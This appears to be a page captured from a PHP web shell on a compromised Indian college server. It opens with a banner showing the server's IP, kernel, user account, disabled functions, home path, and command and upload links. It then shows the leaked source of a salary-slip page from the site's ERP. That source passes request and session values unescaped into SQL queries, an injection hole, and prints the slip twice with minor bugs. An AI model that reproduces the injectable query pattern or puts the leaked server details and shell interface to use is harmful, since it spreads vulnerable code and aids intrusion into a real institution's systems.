|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/websites/bengaledu.e-campus.co.in/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include ("include/makeSession.php");
$installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'");
$installment_id=mysqli_fetch_array($installment_id);
$installment_id=$installment_id['menuper'];
$menuper=explode(',',$installment_id);
if(in_array('Manage Payrool',$menuper)){
}else{
header("location:index.php");
}
include('include/function.php');
include("include/header.php");
include("include/sidebar.php");
if(isset($_REQUEST['did']) && $_REQUEST['did']!=''){
$dovalue="";
$doid=$_REQUEST['did'];
// mysqli_query($con,"delete from studentenquiry where StudenEnquiryID='$doid'");
echo '<META HTTP-EQUIV="Refresh" Content="0; URL=Communication.php">';
exit;
}
if(isset($_REQUEST['upid']) && $_REQUEST['upid']!=''){
$dovalue="EditStudentEnquiryEntry";
$doid=$_REQUEST['upid'];
$upuserresult=mysqli_query($con,"select * from student_enqury_form where id='".$_REQUEST['upid']."'");
$upuserarr=mysqli_fetch_array($upuserresult);
}else{
$dovalue="StudentEnquiryEntry";
$doid='';
}
?>
<style>
table, th, td {
border: 1px solid black;
border-collapse: collapse;
}
th, td {
padding: 10px;
}
@page x{size:300pt 1000pt}
</style>
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<section class="content-header">
<h1>Recipt Design <small></small> </h1>
<ol class="breadcrumb">
<li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
<li><a href="#">Recipt Design</a></li>
</ol>
</section>
<!-- Main content -->
<section class="content">
<div class="row">
<div class="col-md-12">
<div class="box box-info">
<div class="box-header">
<h3 class="box-title"> Recipt Design <small></small></h3>
<!-- tools box -->
<div class="pull-right box-tools">
<button class="btn btn-info btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button>
<button class="btn btn-info btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button>
</div><!-- /. tools -->
</div><!-- /.box-header -->
<div class="box-body pad">
<div class="col-md-12">
<?php
$collage=mysqli_query($con,"select * from collageinfo" );
$collage=mysqli_fetch_array($collage); ?>
<input type='button' id='btn' value='Print' class='btn btn-primary'>
<div class='col-md-12 Section1' style=' height:2000px;' id='printarea'>
<div class='row'>
<div style=' height:200px; margin-top:50px;' width="100%" >
<div style="width:200px;float:left;">
<img src="images/uploads/<?php echo $collage['logo']; ?>" height="100" width="100"/>
<?php
$idf=$_REQUEST['upid'];
$Query=mysqli_query($con,"select *,employeesalarypayment.created_at as create_time,employeesalarypayment.EmployeeSalaryPaymentID as ids,employeesalarypayment.paidsalary as paidsalary from employeesalarypayment
left join employeeentryform on employeesalarypayment.EmployeeId=employeeentryform.empid
left JOIN admin ON employeesalarypayment.user_id=admin.id
left JOIN employeetype ON employeeentryform.EmployeeType=employeetype.EmployeeTypeID
left JOIN departmentmaster ON employeeentryform.DepartmentName=departmentmaster.DepartmentID
left JOIN designationmaster ON employeeentryform.DesignationName=designationmaster.DesignationID
where employeesalarypayment.EmployeeSalaryPaymentID='".$idf."'
");
if($employeeData=mysqli_fetch_array($Query));
?>
</div>
<div style="width:1000px;text-align:center">
<h1><?php echo $collage['collagename']; ?></h1>
<h3 style='margin-top:-5px;'><?php echo $collage['collageaddr']; ?>
<br><?php echo $collage['collagephone']; ?><br>
<?php echo $collage['collageemail']; ?><br>
<b style='margin-top:13px;text-decoration: underline;margin-left:200px;' >SALARY SLIP <?php if($employeeData['EnterMonth']=='01'){
echo "JANUARY";
}else if($employeeData['EnterMonth']=='02'){
echo "FABRUARY";
}else if($employeeData['EnterMonth']=='03'){
echo "MARCH";
}else if($employeeData['EnterMonth']=='04'){
echo "APRIL";
}else if($employeeData['EnterMonth']=='05'){
echo "MAY";
}else if($employeeData['EnterMonth']=='06'){
echo "JUNE";
}else if($employeeData['EnterMonth']=='07'){
echo "JULY";
}else if($employeeData['EnterMonth']=='08'){
echo "AUGUST";
}else if($employeeData['EnterMonth']=='09'){
echo "SEPTEMBER";
}else if($employeeData['EnterMonth']=='10'){
echo "AUCTOBER";
}else if($employeeData['EnterMonth']=='11'){
echo "NOVEMBER";
}else if($employeeData['EnterMonth']=='12'){
echo "DECEMBER";
}
echo ' '.$employeeData['EnterYear'];
?>
</b></h3>
</div>
</div>
<div style="width:1100px;">
<div style="width:350px;float:left;">
<b>Employee Name :</b> <?php echo $employeeData['EmployeeName']; ?> <br>
<b>Employee Code :</b> <?php echo $employeeData['EmployeeId']; ?> <br>
<b>Recipt Number :</b> <?php echo $employeeData['recipt_no']; ?> <br>
</div>
<div style="width:350px;float:left;">
<b>Department :</b> <?php echo $employeeData['DepartmentName']; ?> <br>
<b>Designation :</b> <?php echo $employeeData['DesignationName']; ?> <br>
<b>Mobile :</b> <?php echo $employeeData['mobileno']; ?> <br>
</div>
<div style="width:400px;float:left;">
<b>Date :</b> <?php echo date('d/m/Y', strtotime($employeeData['create_time'])); ?> <br>
<b>Month :</b> <?php echo $employeeData['EnterMonth']; ?> <br>
<b>Leave Balance :</b> <?php echo $employeeData['LeaveDeduction']; ?> <br>
</div>
</div>
<div style="float: left" width="500">
<table style="width:1000px;" style='margin-top:200px;display: inline-block;' >
<tr>
<th style='width:600px;'>Description</th>
<th>Earnings</th>
<th>Deductions</th>
</tr>
<tr>
<td style='width:600px;'>Basic</td>
<td><?php echo $employeeData['basic']; ?></td>
<td></td>
</tr>
<?php
$amount1=mysqli_query($con,"select * from employeesalaryhead
" );
$i=1;
$adds=0;
while($Row=mysqli_fetch_array($amount1)){
?>
<tr>
<?php if($Row['type']=='Addition'){ ?>
<?php if($Row['calculatetype']=='InPercent'){ ?>
<td style='width:100px;'><?php echo $Row['name']; ?></td>
<td><?php $amou=($Row['valuesd']*$employeeData['basic']/100);
$adds=$adds+$amou;
echo $amou.'.00';
?></td>
<td></td>
<?php }else{ ?>
<td style='width:300px;'><?php echo $Row['name']; ?></td>
<td><?php
$adds=$adds+$Row['valuesd'];
echo $Row['valuesd'].'.00'; ?></td>
<td></td>
<?php } ?>
</tr>
<?php } } ?>
<tr >
<td>Leave Deduction</td>
<td></td>
<td><?php echo $employeeData['LateDeduction'].'.00'; ?></td>
</tr>
<?php $amount1=mysqli_query($con,"select * from employeesalaryhead
" );
$i=1;
$dee=0;
while($Row=mysqli_fetch_array($amount1)){
?>
<tr>
<?php if($Row['type']=='Deduction'){ ?>
<?php if($Row['calculatetype']=='InPercent'){ ?>
<td style='width:100px;'><?php echo $Row['name']; ?></td>
<td></td>
<td><?php $amou=($Row['valuesd']*$employeeData['basic']/100);
$dee=$dee+$amou;
echo $amou.'.00';
?></td>
<?php }else{ ?>
<td style='width:300px;'><?php echo $Row['name']; ?></td>
<td></td>
<td><?php
$dee=$dee+$Row['valuesd'];
echo $Row['valuesd'].'.00'; ?></td>
<?php } ?>
<?php } ?>
</tr>
<?php } ?>
<tr>
<td><b>Total </b></td>
<td><?php echo $adds+$employeeData['basic'].'.00'; ?></td>
<td><?php echo $dee-$employeeData['LeaveDeduction'].'.00'; ?></td>
</tr>
<tr>
<td>Payment Date : <?php echo date('d/m/Y', strtotime($employeeData['create_time'])); ?>
Bank Name : <?php echo $employeeData['BankName']; ?> <br>
Account Name : <?php echo $employeeData['AccountHolderName']; ?>
Payment Mode : <?php echo $employeeData['PaymentMode']; ?> <br>
</td>
<td colspan="2"><b>Net PAY : </b>
<?php $netsa=$employeeData['paidsalary'].'.00';
echo '<b>'.'₹'.$netsa.'</b>';
echo '<br><b></b>  ';
$number = $netsa;
$no = round($number);
$point = round($number - $no, 2) * 100;
$hundred = null;
$digits_1 = strlen($no);
$i = 0;
$str = array();
$words = array('0' => '', '1' => 'One', '2' => 'Two',
'3' => 'Three', '4' => 'Four', '5' => 'Five', '6' => 'Six',
'7' => 'Seven', '8' => 'Eight', '9' => 'Nine',
'10' => 'Ten', '11' => 'Eleven', '12' => 'Twelve',
'13' => 'Thirteen', '14' => 'Fourteen',
'15' => 'Fifteen', '16' => 'Sixteen', '17' => 'Seventeen',
'18' => 'Eighteen', '19' =>'Nineteen', '20' => 'Twenty',
'30' => 'Thirty', '40' => 'Forty', '50' => 'Fifty',
'60' => 'Sixty', '70' => 'Seventy',
'80' => 'Eighty', '90' => 'Ninety');
$digits = array('', 'Hundred', 'Thousand', 'Lakh', 'Crore');
while ($i < $digits_1) {
$divider = ($i == 2) ? 10 : 100;
$number = floor($no % $divider);
$no = floor($no / $divider);
$i += ($divider == 10) ? 1 : 2;
if ($number) {
$plural = (($counter = count($str)) && $number > 9) ? 's' : null;
$hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
$str [] = ($number < 21) ? $words[$number] .
" " . $digits[$counter] . $plural . " " . $hundred
:
$words[floor($number / 10) * 10]
. " " . $words[$number % 10] . " "
. $digits[$counter] . $plural . " " . $hundred;
} else $str[] = null;
}
$str = array_reverse($str);
$result = implode('', $str);
$points = ($point) ?
"." . $words[$point / 10] . " " .
$words[$point = $point % 10] : '';
echo "<b>Rupees ".$result . "Only.</b>";
?></td>
</tr>
</table>
</div>
<div class='col-md-12' style="margin-bottom:100px;">
<h5 style='margin-top:20px;margin-bottom:50px; '>
<b style="float:left;">Employee Signature </b>
<b style="float:right; margin-right:200px;">Authorised Signatory with Stamp </b>
</h5>
</div>
</div>
<p style='margin-top:70px; '> ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
</p>
<div style=' height:200px; margin-top:50px;' width="100%" >
<div style="width:200px;float:left;">
<img src="images/uploads/<?php echo $collage['logo']; ?>" height="100" width="100"/>
<?php
$idf=$_REQUEST['upid'];
$Query=mysqli_query($con,"select *,employeesalarypayment.created_at as create_time,employeesalarypayment.EmployeeSalaryPaymentID as ids,employeesalarypayment.paidsalary as paidsalary from employeesalarypayment
left join employeeentryform on employeesalarypayment.EmployeeId=employeeentryform.empid
left JOIN admin ON employeesalarypayment.user_id=admin.id
left JOIN employeetype ON employeeentryform.EmployeeType=employeetype.EmployeeTypeID
left JOIN departmentmaster ON employeeentryform.DepartmentName=departmentmaster.DepartmentID
left JOIN designationmaster ON employeeentryform.DesignationName=designationmaster.DesignationID
where employeesalarypayment.EmployeeSalaryPaymentID='".$idf."'
");
if($employeeData=mysqli_fetch_array($Query));
?>
</div>
<div style="width:1000px;text-align:center">
<h1><?php echo $collage['collagename']; ?></h1>
<h3 style='margin-top:-5px;'><?php echo $collage['collageaddr']; ?>
<br><?php echo $collage['collagephone']; ?><br>
<?php echo $collage['collageemail']; ?><br>
<b style='margin-top:13px;text-decoration: underline;margin-left:200px;' >SALARY SLIP <?php if($employeeData['EnterMonth']=='01'){
echo "JANUARY";
}else if($employeeData['EnterMonth']=='02'){
echo "FABRUARY";
}else if($employeeData['EnterMonth']=='03'){
echo "MARCH";
}else if($employeeData['EnterMonth']=='04'){
echo "APRIL";
}else if($employeeData['EnterMonth']=='05'){
echo "MAY";
}else if($employeeData['EnterMonth']=='06'){
echo "JUNE";
}else if($employeeData['EnterMonth']=='07'){
echo "JULY";
}else if($employeeData['EnterMonth']=='08'){
echo "AUGUST";
}else if($employeeData['EnterMonth']=='09'){
echo "SEPTEMBER";
}else if($employeeData['EnterMonth']=='10'){
echo "AUCTOBER";
}else if($employeeData['EnterMonth']=='11'){
echo "NOVEMBER";
}else if($employeeData['EnterMonth']=='12'){
echo "DECEMBER";
}
echo ' '.$employeeData['EnterYear'];
?>
</b></h3>
</div>
</div>
<div style="width:1100px;">
<div style="width:350px;float:left;">
<b>Employee Name :</b> <?php echo $employeeData['EmployeeName']; ?> <br>
<b>Employee Code :</b> <?php echo $employeeData['EmployeeId']; ?> <br>
<b>Recipt Number :</b> <?php echo $employeeData['recipt_no']; ?> <br>
</div>
<div style="width:350px;float:left;">
<b>Department :</b> <?php echo $employeeData['DepartmentName']; ?> <br>
<b>Designation :</b> <?php echo $employeeData['DesignationName']; ?> <br>
<b>Mobile :</b> <?php echo $employeeData['mobileno']; ?> <br>
</div>
<div style="width:400px;float:left;">
<b>Date :</b> <?php echo date('d/m/Y', strtotime($employeeData['create_time'])); ?> <br>
<b>Month :</b> <?php echo $employeeData['EnterMonth']; ?> <br>
<b>Leave Balance :</b> <?php echo $employeeData['LeaveDeduction']; ?> <br>
</div>
</div>
<div style="float: left" width="500">
<table style="width:1000px;" style='margin-top:200px;display: inline-block;' >
<tr>
<th style='width:600px;'>Description</th>
<th>Earnings</th>
<th>Deductions</th>
</tr>
<tr>
<td style='width:600px;'>Basic</td>
<td><?php echo $employeeData['basic']; ?></td>
<td></td>
</tr>
<?php
$amount1=mysqli_query($con,"select * from employeesalaryhead
" );
$i=1;
$adds=0;
while($Row=mysqli_fetch_array($amount1)){
?>
<tr>
<?php if($Row['type']=='Addition'){ ?>
<?php if($Row['calculatetype']=='InPercent'){ ?>
<td style='width:100px;'><?php echo $Row['name']; ?></td>
<td><?php $amou=($Row['valuesd']*$employeeData['basic']/100);
$adds=$adds+$amou;
echo $amou.'.00';
?></td>
<td></td>
<?php }else{ ?>
<td style='width:300px;'><?php echo $Row['name']; ?></td>
<td><?php
$adds=$adds+$Row['valuesd'];
echo $Row['valuesd'].'.00'; ?></td>
<td></td>
<?php } ?>
</tr>
<?php } } ?>
<tr >
<td>Leave Deduction</td>
<td></td>
<td><?php echo $employeeData['LateDeduction'].'.00'; ?></td>
</tr>
<?php $amount1=mysqli_query($con,"select * from employeesalaryhead
" );
$i=1;
$dee=0;
while($Row=mysqli_fetch_array($amount1)){
?>
<tr>
<?php if($Row['type']=='Deduction'){ ?>
<?php if($Row['calculatetype']=='InPercent'){ ?>
<td style='width:100px;'><?php echo $Row['name']; ?></td>
<td></td>
<td><?php $amou=($Row['valuesd']*$employeeData['basic']/100);
$dee=$dee+$amou;
echo $amou.'.00';
?></td>
<?php }else{ ?>
<td style='width:300px;'><?php echo $Row['name']; ?></td>
<td></td>
<td><?php
$dee=$dee+$Row['valuesd'];
echo $Row['valuesd'].'.00'; ?></td>
<?php } ?>
<?php } ?>
</tr>
<?php } ?>
<tr>
<td><b>Total </b></td>
<td><?php echo $adds+$employeeData['basic'].'.00'; ?></td>
<td><?php echo $dee-$employeeData['LeaveDeduction'].'.00'; ?></td>
</tr>
<tr>
<td>Payment Date : <?php echo date('d/m/Y', strtotime($employeeData['create_time'])); ?>
Bank Name : <?php echo $employeeData['BankName']; ?> <br>
Account Name : <?php echo $employeeData['AccountHolderName']; ?>
Payment Mode : <?php echo $employeeData['PaymentMode']; ?> <br>
</td>
<td colspan="2"><b>Net PAY : </b>
<?php $netsa=$employeeData['paidsalary'].'.00';
echo '<b>'.'₹'.$netsa.'</b>';
echo '<br><b>Amount in words:</b>  ';
$number = $netsa;
$no = round($number);
$point = round($number - $no, 2) * 100;
$hundred = null;
$digits_1 = strlen($no);
$i = 0;
$str = array();
$words = array('0' => '', '1' => 'One', '2' => 'Two',
'3' => 'Three', '4' => 'Four', '5' => 'Five', '6' => 'Six',
'7' => 'Seven', '8' => 'Eight', '9' => 'Nine',
'10' => 'Ten', '11' => 'Eleven', '12' => 'Twelve',
'13' => 'Thirteen', '14' => 'Fourteen',
'15' => 'Fifteen', '16' => 'Sixteen', '17' => 'Seventeen',
'18' => 'Eighteen', '19' =>'Nineteen', '20' => 'Twenty',
'30' => 'Thirty', '40' => 'Forty', '50' => 'Fifty',
'60' => 'Sixty', '70' => 'Seventy',
'80' => 'Eighty', '90' => 'Ninety');
$digits = array('', 'Hundred', 'Thousand', 'Lakh', 'Crore');
while ($i < $digits_1) {
$divider = ($i == 2) ? 10 : 100;
$number = floor($no % $divider);
$no = floor($no / $divider);
$i += ($divider == 10) ? 1 : 2;
if ($number) {
$plural = (($counter = count($str)) && $number > 9) ? 's' : null;
$hundred = ($counter == 1 && $str[0]) ? ' and ' : null;
$str [] = ($number < 21) ? $words[$number] .
" " . $digits[$counter] . $plural . " " . $hundred
:
$words[floor($number / 10) * 10]
. " " . $words[$number % 10] . " "
. $digits[$counter] . $plural . " " . $hundred;
} else $str[] = null;
}
$str = array_reverse($str);
$result = implode('', $str);
$points = ($point) ?
"." . $words[$point / 10] . " " .
$words[$point = $point % 10] : '';
echo "<b>Rupees ".$result . "Only. <b>";
?></td>
</tr>
</table>
</div>
<div class='col-md-12'>
<h5 style='margin-top:20px; '>
<b style="float:left;">Employee Signature </b>
<b style="float:right; margin-right:200px;">Authorised Signatory with Stamp
</h5>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div><!-- /.box -->
</div><!-- /.col-->
</div><!-- ./row -->
</section><!-- /.content -->
</div>
<?php include('include/footer.php');?>
<script src='https://cdnjs.cloudflare.com/ajax/libs/jQuery.print/1.5.1/jQuery.print.min.js'></script>
<script>
$(document).ready(function() {
$("#btn").click(function () {
$("#printarea").print();
});
});
</script>